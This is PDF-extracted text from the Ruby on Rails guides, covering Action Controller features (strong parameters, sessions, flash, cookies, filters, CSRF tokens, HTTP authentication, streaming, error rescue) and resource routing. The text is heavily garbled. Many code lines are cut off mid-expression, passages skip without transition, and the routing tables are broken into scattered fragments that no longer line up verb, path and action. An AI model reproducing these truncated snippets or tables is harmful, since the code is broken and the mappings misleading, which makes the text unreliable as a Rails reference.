<%= f.fields_for :addresses do |addresses_form| %>
<li>
<%= addresses_form.check_box :_destroy%>
<%= addresses_form.label :kind %>
<%= addresses_form.text_field :kind %>
...
</li>
<% end %>
</ul>
<% end %>
def person_params
params.require(:person).
permit(:name, addresses_attributes: [:id, :kind, :street, :_
end
As a convenience you can instead pass the symbol :all_blank which will
create a proc that will reject records where all the attributes are blank
excluding any value for _destroy.
9.6 Adding Fields on the Fly
Rather than rendering multiple sets of fields ahead of time you may wish
to add them only when a user clicks on an 'Add new address' button. Rails
does not provide any built-in support for this. When generating new sets of
fields you must ensure the key of the associated array is unique - the
current JavaScript date (milliseconds after the epoch) is a common choice.
defines a number of helpful methods. This guide will cover some of these,
but if you're curious to see what's in there, you can see all of them in the
API documentation or in the source itself.
Only public methods are callable as actions. It is a best practice to lower
the visibility of methods (with private or protected) which are not
intended to be actions, like auxiliary methods or filters.
4 Parameters
You will probably want to access data sent in by the user or other
parameters in your controller actions. There are two kinds of parameters
possible in a web application. The first are parameters that are sent as part
of the URL, called query string parameters. The query string is everything
after "?" in the URL. The second type of parameter is usually referred to as
POST data. This information usually comes from an HTML form which
has been filled in by the user. It's called POST data because it can only be
sent as part of an HTTP POST request. Rails does not make any distinction
between query string parameters and POST parameters, and both are
available in the params hash in your controller:
# This action uses POST parameters. They are most likely comin
# from an HTML form which the user has submitted. The URL for
# this RESTful request will be "/clients", and the data will b
# sent as part of the request body.
def create
@client = Client.new(params[:client])
if @client.save
redirect_to @client
else
# This line overrides the default rendering behavior, whic
# would have been to render the "create" view.
render "new"
end
end
end
The params object acts like a Hash, but lets you use symbols and strings
interchangeably as keys.
4.2 JSON parameters
If you're writing a web service application, you might find yourself more
comfortable accepting parameters in JSON format. If the "Content-Type"
header of your request is set to "application/json", Rails will automatically
load your parameters into the params hash, which you can access as you
would normally.
So for example, if you are sending this JSON content:
You can customize the name of the key or specific parameters you want to
wrap by consulting the API documentation
Support for parsing XML parameters has been extracted into a gem named
actionpack-xml_parser.
4.3 Routing Parameters
The params hash will always contain the :controller and :action keys,
but you should use the methods controller_name and action_name
instead to access these values. Any other parameters defined by the
routing, such as :id, will also be available. As an example, consider a
listing of clients where the list can show either active or inactive clients.
We can add a route which captures the :status parameter in a "pretty"
URL:
get '/clients/:status' => 'clients#index', foo: 'bar'
def default_url_options
{ locale: I18n.locale }
end
end
private
# Using a private method to encapsulate the permissible para
# is just a good pattern since you'll be able to reuse the s
# permit list between create and update. Also, you can speci
# this method with per-user checking of permissible attribut
def person_params
params.require(:person).permit(:name, :age)
end
end
4.5.1 Permitted Scalar Values
Given
params.permit(:id)
the key :id will pass the whitelisting if it appears in params and it has a
permitted scalar value associated. Otherwise, the key is going to be filtered
out, so arrays, hashes, or any other objects cannot be injected.
The permitted scalar types are String, Symbol, NilClass, Numeric,
TrueClass, FalseClass, Date, Time, DateTime, StringIO, IO,
ActionDispatch::Http::UploadedFile, and
Rack::Test::UploadedFile.
To declare that the value in params must be an array of permitted scalar
This will mark the :log_entry parameters hash and any sub-hash of it as
permitted. Extreme care should be taken when using permit!, as it will
allow all current and future model attributes to be mass-assigned.
4.5.2 Nested Parameters
You may want to also use the permitted attributes in your new action. This
raises the problem that you can't use require on the root key because,
normally, it does not exist when calling new:
Hashes with integer keys are treated differently, and you can declare the
attributes as if they were direct children. You get these kinds of parameters
when you use accepts_nested_attributes_for in combination with a
has_many association:
The strong parameter API was designed with the most common use cases
in mind. It is not meant as a silver bullet to handle all of your whitelisting
problems. However, you can easily mix the API with your own code to
adapt to your situation.
Imagine a scenario where you have parameters representing a product
name and a hash of arbitrary data associated with that product, and you
want to whitelist the product name attribute and also the whole data hash.
The strong parameters API doesn't let you directly whitelist the whole of a
nested hash with any keys, but you can use the keys of your nested hash to
def product_params
params.require(:product).permit(:name, data: params[:product][
end
5 Session
Your application has a session for each user in which you can store small
amounts of data that will be persisted between requests. The session is
only available in the controller and the view and can use one of a number
of different storage mechanisms:
ActionDispatch::Session::CookieStore - Stores everything on the
client.
ActionDispatch::Session::CacheStore - Stores the data in the
Rails cache.
ActionDispatch::Session::ActiveRecordStore - Stores the data in
a database using Active Record. (require activerecordsession_store gem).
ActionDispatch::Session::MemCacheStore - Stores the data in a
Rails sets up a session key (the name of the cookie) when signing the
session data. These can also be changed in
config/initializers/session_store.rb:
You can also pass a :domain key and specify the domain name for the
cookie:
Rails sets up (for the CookieStore) a secret key used for signing the
session data. This can be changed in config/secrets.yml
# Be sure to restart your server when you modify this file.
Changing the secret when using the CookieStore will invalidate all
existing sessions.
5.1 Accessing the Session
In your controller you can access the session through the session instance
method.
Sessions are lazily loaded. If you don't access sessions in your action's
code, they will not be loaded. Hence you will never need to disable
sessions, just not accessing them will do the job.
Session values are stored using key/value pairs like a hash:
class ApplicationController < ActionController::Base
private
# Finds the User with the ID stored in the session with the ke
# :current_user_id This is a common way to handle user login i
# a Rails application; logging in sets the session value and
# logging out removes it.
def current_user
@_current_user ||= session[:current_user_id] &&
User.find_by(id: session[:current_user_id])
end
end
To store something in the session, just assign it to the key like a hash:
This way, if an action sets a notice or an alert message, the layout will
display it automatically.
You can pass anything that the session can store; you're not limited to
notices and alerts:
<% if flash[:just_signed_up] %>
<p class="welcome">Welcome to our site!</p>
<% end %>
If you want a flash value to be carried over to another request, use the keep
method:
By default, adding values to the flash will make them available to the next
request, but sometimes you may want to access those values in the same
request. For example, if the create action fails to save a resource and you
render the new template directly, that's not going to result in a new request,
but you may still want to display a message using the flash. To do this, you
can use flash.now in the same way you use the normal flash:
class ClientsController < ApplicationController
def create
@client = Client.new(params[:client])
if @client.save
# ...
else
flash.now[:error] = "Could not save client"
render action: "new"
end
end
end
6 Cookies
Your application can store small amounts of data on the client - called
cookies - that will be persisted across requests and even sessions. Rails
provides easy access to cookies via the cookies method, which - much
like the session - works like a hash:
def create
@comment = Comment.new(params[:comment])
if @comment.save
flash[:notice] = "Thanks for your comment!"
if params[:remember_name]
# Remember the commenter's name.
cookies[:commenter_name] = @comment.author
else
# Delete cookie for the commenter's name cookie, if any.
cookies.delete(:commenter_name)
end
redirect_to @comment.article
else
render action: "new"
end
end
end
Note that while for session values you set the key to nil, to delete a cookie
value you should use cookies.delete(:key).
Rails also provides a signed cookie jar and an encrypted cookie jar for
storing sensitive data. The signed cookie jar appends a cryptographic
signature on the cookie values to protect their integrity. The encrypted
cookie jar encrypts the values in addition to signing them, so that they
cannot be read by the end user. Refer to the API documentation for more
details.
These special cookie jars use a serializer to serialize the assigned values
into strings and deserializes them into Ruby objects on read.
You can specify what serializer to use:
Rails.application.config.action_dispatch.cookies_serializer = :j
The default serializer for new applications is :json. For compatibility with
old applications with existing cookies, :marshal is used when serializer
option is not specified.
You may also set this option to :hybrid, in which case Rails would
transparently deserialize existing (Marshal-serialized) cookies on read and
re-write them in the JSON format. This is useful for migrating existing
applications to the :json serializer.
It is also possible to pass a custom serializer that responds to load and
dump:
Rails.application.config.action_dispatch.cookies_serializer = My
When using the :json or :hybrid serializer, you should beware that not
all Ruby objects can be serialized as JSON. For example, Date and Time
objects will be serialized as strings, and Hashes will have their keys
stringified.
def read_cookie
cookies.encrypted[:expiration_date] # => "2014-03-20"
end
end
It's advisable that you only store simple data (strings and numbers) in
cookies. If you have to store complex objects, you would need to handle
the conversion manually when reading the values on subsequent requests.
If you use the cookie session store, this would apply to the session and
flash hash as well.
You may notice in the above code that we're using render xml: @users,
not render xml: @users.to_xml. If the object is not a String, then Rails
will automatically invoke to_xml for us.
8 Filters
Filters are methods that are run "before", "after" or "around" a controller
action.
Filters are inherited, so if you set a filter on ApplicationController, it
will be run on every controller in your application.
"before" filters may halt the request cycle. A common "before" filter is one
which requires that a user is logged in for an action to be run. You can
define the filter method this way:
class ApplicationController < ActionController::Base
before_action :require_login
private
def require_login
unless logged_in?
flash[:error] = "You must be logged in to access this sect
redirect_to new_login_url # halts request cycle
end
end
end
The method simply stores an error message in the flash and redirects to the
login form if the user is not logged in. If a "before" filter renders or
redirects, the action will not run. If there are additional filters scheduled to
run after that filter, they are also cancelled.
In this example the filter is added to ApplicationController and thus all
controllers in the application inherit it. This will make everything in the
application require the user to be logged in in order to use it. For obvious
reasons (the user wouldn't be able to log in in the first place!), not all
controllers or actions should require this. You can prevent this filter from
running before particular actions with skip_before_action:
Now, the LoginsController's new and create actions will work as before
without requiring the user to be logged in. The :only option is used to skip
this filter only for these actions, and there is also an :except option which
works the other way. These options can be used when adding filters too, so
you can add a filter which only runs for selected actions in the first place.
8.1 After Filters and Around Filters
In addition to "before" filters, you can also run filters after an action has
been executed, or both before and after.
"after" filters are similar to "before" filters, but because the action has
already been run they have access to the response data that's about to be
sent to the client. Obviously, "after" filters cannot stop the action from
running.
"around" filters are responsible for running their associated actions by
yielding, similar to how Rack middlewares work.
For example, in a website where changes have an approval workflow an
administrator could be able to preview them easily, just apply them within
a transaction:
class ChangesController < ApplicationController
around_action :wrap_in_transaction, only: :show
private
def wrap_in_transaction
ActiveRecord::Base.transaction do
begin
yield
ensure
raise ActiveRecord::Rollback
end
end
end
end
Note that the filter in this case uses send because the logged_in? method
is private and the filter does not run in the scope of the controller. This is
not the recommended way to implement this particular filter, but in more
class LoginFilter
def self.before(controller)
unless controller.send(:logged_in?)
controller.flash[:error] = "You must be logged in to acces
controller.redirect_to controller.new_login_url
end
end
end
Again, this is not an ideal example for this filter, because it's not run in the
scope of the controller but gets the controller passed as an argument. The
filter class must implement a method with the same name as the filter, so
for the before_action filter the class must implement a before method,
and so on. The around method must yield to execute the action.
You will see how the token gets added as a hidden field:
<form accept-charset="UTF-8" action="/users/1" method="post">
<input type="hidden"
value="67250ab105eb5ad10851c00a5621854a23af5489"
name="authenticity_token"/>
<!-- fields -->
</form>
Rails adds this token to every form that's generated using the form helpers,
so most of the time you don't have to worry about it. If you're writing a
form manually or need to add the token for another reason, it's available
through the method form_authenticity_token:
The form_authenticity_token generates a valid authentication token.
That's useful in places where Rails does not add it automatically, like in
custom Ajax calls.
The Security Guide has more about this and a lot of other security-related
issues that you should be aware of when developing a web application.
url
Rails collects all of the parameters sent along with the request in the
params hash, whether they are sent as part of the query string or the post
body. The request object has three accessors that give you access to these
parameters depending on where they came from. The query_parameters
hash contains parameters that were sent as part of the query string while
the request_parameters hash contains parameters sent as part of the post
body. The path_parameters hash contains parameters that were
recognized by the routing as being part of the path leading to this
particular controller and action.
10.2 The response Object
The response object is not usually used directly, but is built up during the
execution of the action and rendering of the data that is being sent back to
the user, but sometimes - like in an after filter - it can be useful to access
the response directly. Some of these accessor methods also have setters,
allowing you to change their values.
Property of
response
Purpose
This is the string of data being sent back to the client. This
is most often HTML.
The HTTP status code for the response, like 200 for a
status
successful request or 404 for file not found.
location
The URL the client is being redirected to, if any.
content_type The content type of the response.
The character set being used for the response. Default is
charset
"utf-8".
headers
Headers used for the response.
body
Note: in the above case it would make more sense to use the
content_type setter directly.
11 HTTP Authentications
Rails comes with two built-in HTTP authentication mechanisms:
Basic Authentication
Digest Authentication
11.1 HTTP Basic Authentication
HTTP basic authentication is an authentication scheme that is supported by
the majority of browsers and other HTTP clients. As an example, consider
an administration section which will only be available by entering a
username and a password into the browser's HTTP basic dialog window.
Using the built-in authentication is quite easy and only requires you to use
one method, http_basic_authenticate_with.
With this in place, you can create namespaced controllers that inherit from
AdminsController. The filter will thus be run for all actions in those
controllers, protecting them with HTTP basic authentication.
11.2 HTTP Digest Authentication
HTTP digest authentication is superior to the basic authentication as it
does not require the client to send an unencrypted password over the
network (though HTTP basic authentication is safe over HTTPS). Using
digest authentication with Rails is quite easy and only requires using one
method, authenticate_or_request_with_http_digest.
class AdminsController < ApplicationController
USERS = { "lifo" => "world" }
before_action :authenticate
private
def authenticate
authenticate_or_request_with_http_digest do |username|
USERS[username]
end
end
end
argument - the username. And the block returns the password. Returning
false or nil from the authenticate_or_request_with_http_digest will
cause authentication failure.
The download_pdf action in the example above will call a private method
which actually generates the PDF document and returns it as a string. This
string will then be streamed to the client as a file download and a filename
will be suggested to the user. Sometimes when streaming files to the user,
you may not want them to download the file. Take images, for example,
which can be embedded into HTML pages. To tell the browser a file is not
This will read and stream the file 4kB at the time, avoiding loading the
entire file into memory at once. You can turn off streaming with the
:stream option or adjust the block size with the :buffer_size option.
If :type is not specified, it will be guessed from the file extension
specified in :filename. If the content type is not registered for the
extension, application/octet-stream will be used.
Be careful when using data coming from the client (params, cookies, etc.)
to locate the file on disk, as this is a security risk that might allow someone
to gain access to files they are not meant to.
It is not recommended that you stream static files through Rails if you can
instead keep them in a public folder on your web server. It is much more
efficient to let the user download the file directly using Apache or another
web server, keeping the request from unnecessarily going through the
whole Rails stack.
In order for this example to work, you have to add the PDF MIME type to
Rails. This can be done by adding the following line to the file
config/initializers/mime_types.rb:
Mime::Type.register "application/pdf", :pdf
Configuration files are not reloaded on each request, so you have to restart
the server in order for their changes to take effect.
Now the user can request to get a PDF version of a client just by adding
".pdf" to the URL:
GET /clients/1.pdf
The above code will keep a persistent connection with the browser and
send 100 messages of "hello world\n", each one second apart.
There are a couple of things to notice in the above example. We need to
make sure to close the response stream. Forgetting to close the stream will
leave the socket open forever. We also have to set the content type to
text/event-stream before we write to the response stream. This is
because headers cannot be written after the response has been committed
Let's suppose that you were making a Karaoke machine and a user wants
to get the lyrics for a particular song. Each Song has a particular number of
lines and each line takes time num_beats to finish singing.
If we wanted to return the lyrics in Karaoke fashion (only sending the line
when the singer has finished the previous line), then we could use
ActionController::Live as follows:
class LyricsController < ActionController::Base
include ActionController::Live
def show
response.headers['Content-Type'] = 'text/event-stream'
song = Song.find(params[:id])
song.each do |line|
response.stream.write line.lyrics
sleep line.num_beats
end
ensure
response.stream.close
end
end
The above code sends the next line only after the singer has completed the
previous line.
12.3.3 Streaming Considerations
Each response stream creates a new thread and copies over the thread
local variables from the original thread. Having too many thread local
variables can negatively impact performance. Similarly, a large
number of threads can also hinder performance.
Failing to close the response stream will leave the corresponding
socket open forever. Make sure to call close whenever you are using
a response stream.
WEBrick servers buffer all responses, and so including
ActionController::Live will not work. You must use a web server
which does not automatically buffer responses.
13 Log Filtering
Rails keeps a log file for each environment in the log folder. These are
extremely useful when debugging what's actually going on in your
application, but in a live application you may not want every bit of
information to be stored in the log file.
13.1 Parameters Filtering
You can filter out sensitive request parameters from your log files by
appending them to config.filter_parameters in the application
configuration. These parameters will be marked [FILTERED] in the log.
config.filter_parameters << :password
14 Rescue
Most likely your application is going to contain bugs or otherwise throw
an exception that needs to be handled. For example, if the user follows a
link to a resource that no longer exists in the database, Active Record will
throw the ActiveRecord::RecordNotFound exception.
Rails default exception handling displays a "500 Server Error" message for
all exceptions. If the request was made locally, a nice traceback and some
added information gets displayed so you can figure out what went wrong
and deal with it. If the request was remote Rails will just display a simple
"500 Server Error" message to the user, or a "404 Not Found" if there was
a routing error or a record could not be found. Sometimes you might want
to customize how these errors are caught and how they're displayed to the
user. There are several levels of exception handling available in a Rails
application:
14.1 The Default 500 and 404 Templates
By default a production application will render either a 404 or a 500 error
message, in the development environment all unhandled exceptions are
raised. These messages are contained in static HTML files in the public
folder, in 404.html and 500.html respectively. You can customize these
files to add some extra information and style, but remember that they are
static HTML; i.e. you can't use ERB, SCSS, CoffeeScript, or layouts for
them.
14.2 rescue_from
If you want to do something a bit more elaborate when catching errors,
you can use rescue_from, which handles exceptions of a certain type (or
multiple types) in an entire controller and its subclasses.
When an exception occurs which is caught by a rescue_from directive, the
# Note how the actions don't have to worry about all the auth
def edit
@client = Client.find(params[:id])
end
private
# If the user is not authorized, just throw the exception.
def check_authorization
raise User::NotAuthorized unless current_user.admin?
end
end
Just like the filter, you could also pass :only and :except to enforce the
secure connection only to specific actions:
class DinnerController
force_ssl only: :cheeseburger
# or
force_ssl except: :cheeseburger
end
Please note that if you find yourself adding force_ssl to many controllers,
you may want to force the whole application to use HTTPS instead. In that
case, you can set the config.force_ssl in your environment file.
then the router will generate the path /patients/17. This reduces the
brittleness of your view and makes your code easier to understand. Note
that the id does not need to be specified in the route helper.
it asks the router to map it to a controller action. If the first matching route
is:
resources :photos
Rails would dispatch that request to the destroy action on the photos
controller with { id: '17' } in params.
2.2 CRUD, Verbs, and Actions
In Rails, a resourceful route provides a mapping between HTTP verbs and
URLs to controller actions. By convention, each action also maps to a
specific CRUD operation in a database. A single entry in the routing file,
such as:
resources :photos
Path
Controller#Action
GET
/photos
photos#index
GET
/photos/new
photos#new
POST
GET
/photos
/photos/:id
photos#create
photos#show
GET
/photos/:id/edit photos#edit
PATCH/PUT /photos/:id
DELETE
/photos/:id
photos#update
photos#destroy
Used for
display a list of all
photos
return an HTML form
for creating a new photo
create a new photo
display a specific photo
return an HTML form
for editing a photo
update a specific photo
delete a specific photo
Because the router uses the HTTP verb and URL to match inbound
requests, four URLs map to seven different actions.
Rails routes are matched in the order they are specified, so if you have a
resources :photos above a get 'photos/poll' the show action's route
for the resources line will be matched before the get line. To fix this,
move the get line above the resources line so that it is matched first.
2.3 Path and URL Helpers
Creating a resourceful route will also expose a number of helpers to the
controllers in your application. In the case of resources :photos:
photos_path returns /photos
new_photo_path returns /photos/new
passing a Symbol will map directly to an action but you must also specify
the controller: to use:
get 'profile', to: :show, controller: 'users'
Path
Controller#Action
Used for
return an HTML form
GET
/geocoder/new geocoders#new
for creating the
geocoder
POST
/geocoder
geocoders#create create the new geocoder
display the one and only
GET
/geocoder
geocoders#show
geocoder resource
return an HTML form
GET
/geocoder/edit geocoders#edit
for editing the geocoder
update the one and only
PATCH/PUT /geocoder
geocoders#update
geocoder resource
delete the geocoder
DELETE
/geocoder
geocoders#destroy
resource
Because you might want to use the same controller for a singular route
(/account) and a plural route (/accounts/45), singular resources map to
plural controllers. So that, for example, resource :photo and resources
:photos creates both singular and plural routes that map to the same
controller (PhotosController).
As with plural resources, the same helpers ending in _url will also include
the host, port and path prefix.
A long-standing bug prevents form_for from working automatically with
singular resources. As a workaround, specify the URL for the form
directly, like so:
form_for @geocoder, url: geocoder_path do |f|
# snippet for brevity
This will create a number of routes for each of the articles and comments
controller. For Admin::ArticlesController, Rails will create:
HTTP Verb
Path
GET
/admin/articles
Controller#Action
Named H
admin/articles#index admin_articles_
GET
/admin/articles/new admin/articles#new
new_admin_art
POST
/admin/articles
admin/articles#create admin_articles_
GET
/admin/articles/:id
admin/articles#show admin_article_
GET
/admin/articles/:id/edit admin/articles#edit
edit_admin_art
PATCH/PUT /admin/articles/:id
admin/articles#update admin_article_
DELETE
/admin/articles/:id
admin/articles#destroy admin_article_
If you want to route /articles (without the prefix /admin) to
Admin::ArticlesController, you could use:
scope module: 'admin' do
resources :articles, :comments
end
In each of these cases, the named routes remain the same as if you did not
use scope. In the last case, the following paths map to
ArticlesController:
HTTP Verb
Path
Controller#Action Named Helper
GET
/admin/articles
articles#index
articles_path
GET
/admin/articles/new articles#new
new_article_path
POST
/admin/articles
articles#create
articles_path
GET
/admin/articles/:id
articles#show
article_path(:id)
GET
/admin/articles/:id/edit articles#edit
edit_article_path(:
PATCH/PUT /admin/articles/:id
articles#update
article_path(:id)
DELETE
/admin/articles/:id
articles#destroy
article_path(:id)
If you need to use a different controller namespace inside a namespace
block you can specify an absolute controller path, e.g: get '/foo' =>
'/foo#index'.
2.7 Nested Resources
It's common to have resources that are logically children of other
resources. For example, suppose your application includes these models:
class Magazine < ApplicationRecord
has_many :ads
end
class Ad < ApplicationRecord
belongs_to :magazine
end
Nested routes allow you to capture this relationship in your routing. In this
case, you could include this route declaration:
resources :magazines do
resources :ads
end
In addition to the routes for magazines, this declaration will also route ads
to an AdsController. The ad URLs require a magazine:
HTTP Verb
Path
GET
/magazines/:magazine_id/ads
GET
/magazines/:magazine_id/ads/new
POST
/magazines/:magazine_id/ads
GET
/magazines/:magazine_id/ads/:id
Controller#Action Use
disp
list
ads#index
ads
spec
mag
retu
HTM
form
crea
ads#new
new
belo
to a
spec
mag
crea
new
belo
ads#create
to a
spec
mag
disp
spec
ad
ads#show
belo
to a
spec
mag
retu
HTM
GET
/magazines/:magazine_id/ads/:id/edit ads#edit
PATCH/PUT /magazines/:magazine_id/ads/:id
ads#update
DELETE
ads#destroy
/magazines/:magazine_id/ads/:id
form
edit
ad
belo
to a
spec
mag
upd
spec
ad
belo
to a
spec
mag
dele
spec
ad
belo
to a
spec
mag
You can nest resources within other nested resources if you like. For
example:
resources :publishers do
resources :magazines do
resources :photos
end
end
One way to avoid deep nesting (as recommended above) is to generate the
collection actions scoped under the parent, so as to get a sense of the
hierarchy, but to not nest the member actions. In other words, to only build
routes with the minimal amount of information to uniquely identify the
resource, like this:
resources :articles do
resources :comments, only: [:index, :new, :create]
end
resources :comments, only: [:show, :edit, :update, :destroy]
This idea strikes a balance between descriptive routes and deep nesting.
There exists shorthand syntax to achieve just that, via the :shallow option:
resources :articles do
resources :comments, shallow: true
end
This will generate the exact same routes as the first example. You can also
specify the :shallow option in the parent resource, in which case all of the
nested resources will be shallow:
resources :articles, shallow: true do
resources :comments
resources :quotes
resources :drafts
end
The shallow method of the DSL creates a scope inside of which every
nesting is shallow. This generates the same routes as the previous example:
shallow do
resources :articles do
resources :comments
resources :quotes
resources :drafts
end
end
The comments resource here will have the following routes generated for
it:
HTTP Verb
Path
GET
/articles/:article_id/comments(.:format)
Controller#Acti
comments#index
POST
/articles/:article_id/comments(.:format)
comments#create
GET
/articles/:article_id/comments/new(.:format) comments#new
GET
/sekret/comments/:id/edit(.:format)
comments#edit
GET
/sekret/comments/:id(.:format)
comments#show
PATCH/PUT /sekret/comments/:id(.:format)
comments#updat
DELETE
/sekret/comments/:id(.:format)
comments#destro
The :shallow_prefix option adds the specified parameter to the named
helpers:
scope shallow_prefix: "sekret" do
resources :articles do
resources :comments, shallow: true
end
end
The comments resource here will have the following routes generated for
it:
HTTP Verb
Path
Controller#Acti
GET
/articles/:article_id/comments(.:format)
comments#index
POST
/articles/:article_id/comments(.:format)
comments#create
GET
/articles/:article_id/comments/new(.:format) comments#new
GET
/comments/:id/edit(.:format)
comments#edit
GET
/comments/:id(.:format)
comments#show
PATCH/PUT /comments/:id(.:format)
comments#updat
DELETE
/comments/:id(.:format)
comments#destro
2.8 Routing concerns
Routing concerns allow you to declare common routes that can be reused
inside other resources and routes. To define a concern:
concern :commentable do
resources :comments
end
concern :image_attachable do
resources :images, only: :index
end
Also you can use them in any place that you want inside the routes, for
example in a scope or namespace call:
namespace :articles do
concerns :commentable
end
URLs from an array of parameters. For example, suppose you have this set
of routes:
resources :magazines do
resources :ads
end
You can also use url_for with a set of objects, and Rails will
automatically determine which route you want:
<%= link_to 'Ad details', url_for([@magazine, @ad]) %>
In this case, Rails will see that @magazine is a Magazine and @ad is an Ad
and will therefore use the magazine_ad_path helper. In helpers like
link_to, you can specify just the object in place of the full url_for call:
<%= link_to 'Ad details', [@magazine, @ad] %>
For other actions, you just need to insert the action name as the first
element of the array:
<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>
This allows you to treat instances of your models as URLs, and is a key
advantage to using the resourceful style.
2.10 Adding More RESTful Actions
You are not limited to the seven routes that RESTful routing creates by
default. If you like, you may add additional routes that apply to the
collection or individual members of the collection.
2.10.1 Adding Member Routes
To add a member route, just add a member block into the resource block:
resources :photos do
member do
get 'preview'
end
end
You can leave out the :on option, this will create the same member route
except that the resource id value will be available in params[:photo_id]
instead of params[:id].
2.10.2 Adding Collection Routes
If you find yourself adding many extra actions to a resourceful route, it's
time to stop and ask yourself whether you're disguising the presence of
another resource.
3 Non-Resourceful Routes
In addition to resource routing, Rails has powerful support for routing
arbitrary URLs to actions. Here, you don't get groups of routes
automatically generated by resourceful routing. Instead, you set up each
route within your application separately.
While you should usually use resourceful routing, there are still many
places where the simpler routing is more appropriate. There's no need to
try to shoehorn every last piece of your application into a resourceful
framework if that's not a good fit.
In particular, simple routing makes it very easy to map legacy URLs to
new Rails actions.
3.1 Bound Parameters
When you set up a regular route, you supply a series of symbols that Rails
maps to parts of an incoming HTTP request. Two of these symbols are
special: :controller maps to the name of a controller in your application,
and :action maps to the name of an action within that controller. For
example, consider this route:
get ':controller(/:action(/:id))'
You can set up as many dynamic segments within a regular route as you
like. Anything other than :controller or :action will be available to the
action as part of params. If you set up this route:
get ':controller/:action/:id/:user_id'
By default, dynamic segments don't accept dots - this is because the dot is
used as a separator for formatted routes. If you need to use a dot within a
dynamic segment, add a constraint that overrides this for example, id:
/[^\/]+/ allows anything except a slash.
3.3 Static Segments
You can specify static segments when creating a route by not prepending a
colon to a fragment:
get ':controller/:action/:id/with_user/:user_id'
The params will also include any parameters from the query string. For
example, with this route:
get ':controller/:action/:id'
With this route, Rails will match an incoming path of /photos/12 to the
show action of PhotosController.
You can also define other defaults in a route by supplying a hash for the
:defaults option. This even applies to parameters that you do not specify
as dynamic segments. For example:
You can specify a name for any route using the :as option:
get 'exit', to: 'sessions#destroy', as: :logout
You can match all verbs to a particular route using via: :all:
match 'photos', to: 'photos#show', via: :all
Routing both GET and POST requests to a single action has security
implications. In general, you should avoid routing all verbs to an action
anchors can't be used. For example, the following route will not work:
get '/:id', to: 'articles#show', constraints: { id: /^\d/ }
However, note that you don't need to use anchors because all routes are
anchored at the start.
For example, the following routes would allow for articles with
to_param values like 1-hello-world that always begin with a number and
users with to_param values like david that never begin with a number to
share the root namespace:
get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
get '/:username', to: 'users#show'
Rails.application.routes.draw do
get '*path', to: 'blacklist#index',
constraints: lambda { |request| Blacklist.retrieve_ips.inclu
end
Both the matches? method and the lambda gets the request object as an
argument.
3.11 Route Globbing and Wildcard Segments
Route globbing is a way to specify that a particular parameter should be
matched to all the remaining parts of a route. For example:
get 'photos/*other', to: 'photos#unknown'
3.12 Redirection
You can redirect any path to another path using the redirect helper in
your router:
get '/stories', to: redirect('/articles')
You can also reuse dynamic segments from the match in the path to
redirect to:
get '/stories/:name', to: redirect('/articles/%{name}')
You can also provide a block to redirect, which receives the symbolized
path parameters and the request object:
If you would prefer to have your Rack application receive requests at the
root path instead, use mount:
mount AdminApp, at: '/admin'
You should put the root route at the top of the file, because it is the most
popular route and should be matched first.
The root route only routes GET requests to the action.
You can also use root inside namespaces and scopes as well. For example:
namespace :admin do
root to: "admin#index"
end
root to: "home#index"
will recognize incoming paths beginning with /photos but route to the
Images controller:
HTTP Verb
Path
Controller#Action Named Helper
GET
/photos
images#index
photos_path
GET
/photos/new images#new
new_photo_path
POST
/photos
images#create
photos_path
GET
/photos/:id
images#show
photo_path(:id)
GET
/photos/:id/edit images#edit
edit_photo_path(:id)
PATCH/PUT /photos/:id
images#update
photo_path(:id)
DELETE
/photos/:id
images#destroy
photo_path(:id)
Use photos_path, new_photo_path, etc. to generate paths for this
resource.
For namespaced controllers you can use the directory notation. For
example:
This declaration constrains the :id parameter to match the supplied regular
expression. So, in this case, the router would no longer match /photos/1
to this route. Instead, /photos/RR27 would match.
You can specify a single constraint to apply to a number of routes by using
the block form:
constraints(id: /[A-Z][A-Z][0-9]+/) do
resources :photos
resources :accounts
end
Of course, you can use the more advanced constraints available in nonresourceful routes in this context.
By default the :id parameter doesn't accept dots - this is because the dot is
used as a separator for formatted routes. If you need to use a dot within an
:id add a constraint which overrides this - for example id: /[^\/]+/
will recognize incoming paths beginning with /photos and route the
requests to PhotosController, but use the value of the :as option to name
the helpers.
HTTP Verb
Path
Controller#Action Named Helper
GET
/photos
photos#index
images_path
GET
/photos/new photos#new
new_image_path
POST
/photos
photos#create
images_path
GET
/photos/:id
photos#show
image_path(:id)
GET
/photos/:id/edit photos#edit
edit_image_path(:id)
PATCH/PUT /photos/:id
photos#update
image_path(:id)
DELETE
/photos/:id
photos#destroy
image_path(:id)
4.4 Overriding the new and edit Segments
The :path_names option lets you override the automatically-generated new
and edit segments in paths:
resources :photos, path_names: { new: 'make', edit: 'change' }
/photos/1/change
The actual action names aren't changed by this option. The two paths
shown would still route to the new and edit actions.
If you find yourself wanting to change this option uniformly for all of your
routes, you can use a scope.
scope path_names: { new: 'make' } do
# rest of your routes
end
This will provide you with URLs such as /bob/articles/1 and will allow
you to reference the username part of the path as params[:username] in
controllers, helpers and views.
4.6 Restricting the Routes Created
By default, Rails creates routes for the seven default actions (index, show,
new, create, edit, update, and destroy) for every RESTful route in your
application. You can use the :only and :except options to fine-tune this
behavior. The :only option tells Rails to create only the specified routes:
resources :photos, only: [:index, :show]
In this case, Rails will create all of the normal routes except the route for
destroy (a DELETE request to /photos/:id).
If your application has many RESTful routes, using :only and :except to
generate only the routes that you actually need can cut down on memory
use and speed up the routing process.
4.7 Translated Paths
Using scope, we can alter path names generated by resources:
scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
resources :categories, path: 'kategorien'
end
HTTP Verb
Path
Controller#Action
Named He
GET
/kategorien
categories#index categories_path
GET
/kategorien/neu
categories#new
new_category_
POST
/kategorien
categories#create categories_path
GET
/kategorien/:id
categories#show category_path(:
GET
/kategorien/:id/bearbeiten categories#edit
edit_category_p
PATCH/PUT /kategorien/:id
categories#update category_path(:
DELETE
/kategorien/:id
categories#destroy category_path(:
4.8 Overriding the Singular Form
If you want to define the singular form of a resource, you should add
additional rules to the Inflector:
ActiveSupport::Inflector.inflections do |inflect|
inflect.irregular 'tooth', 'teeth'
end
def to_param
identifier
end
end
video = Video.find_by(identifier: "Roman-Holiday")
edit_videos_path(video) # => "/videos/Roman-Holiday"
You can search through your routes with the grep option: -g. This outputs
any routes that partially match the URL helper method name, the HTTP
verb, or the URL path.
$ bin/rails routes -g new_comment
$ bin/rails routes -g POST
$ bin/rails routes -g admin
If you only want to see the routes that map to a specific controller, there's
the -c option.
$ bin/rails routes -c users
$ bin/rails routes -c admin/users
$ bin/rails routes -c Comments
$ bin/rails routes -c Articles::CommentsController
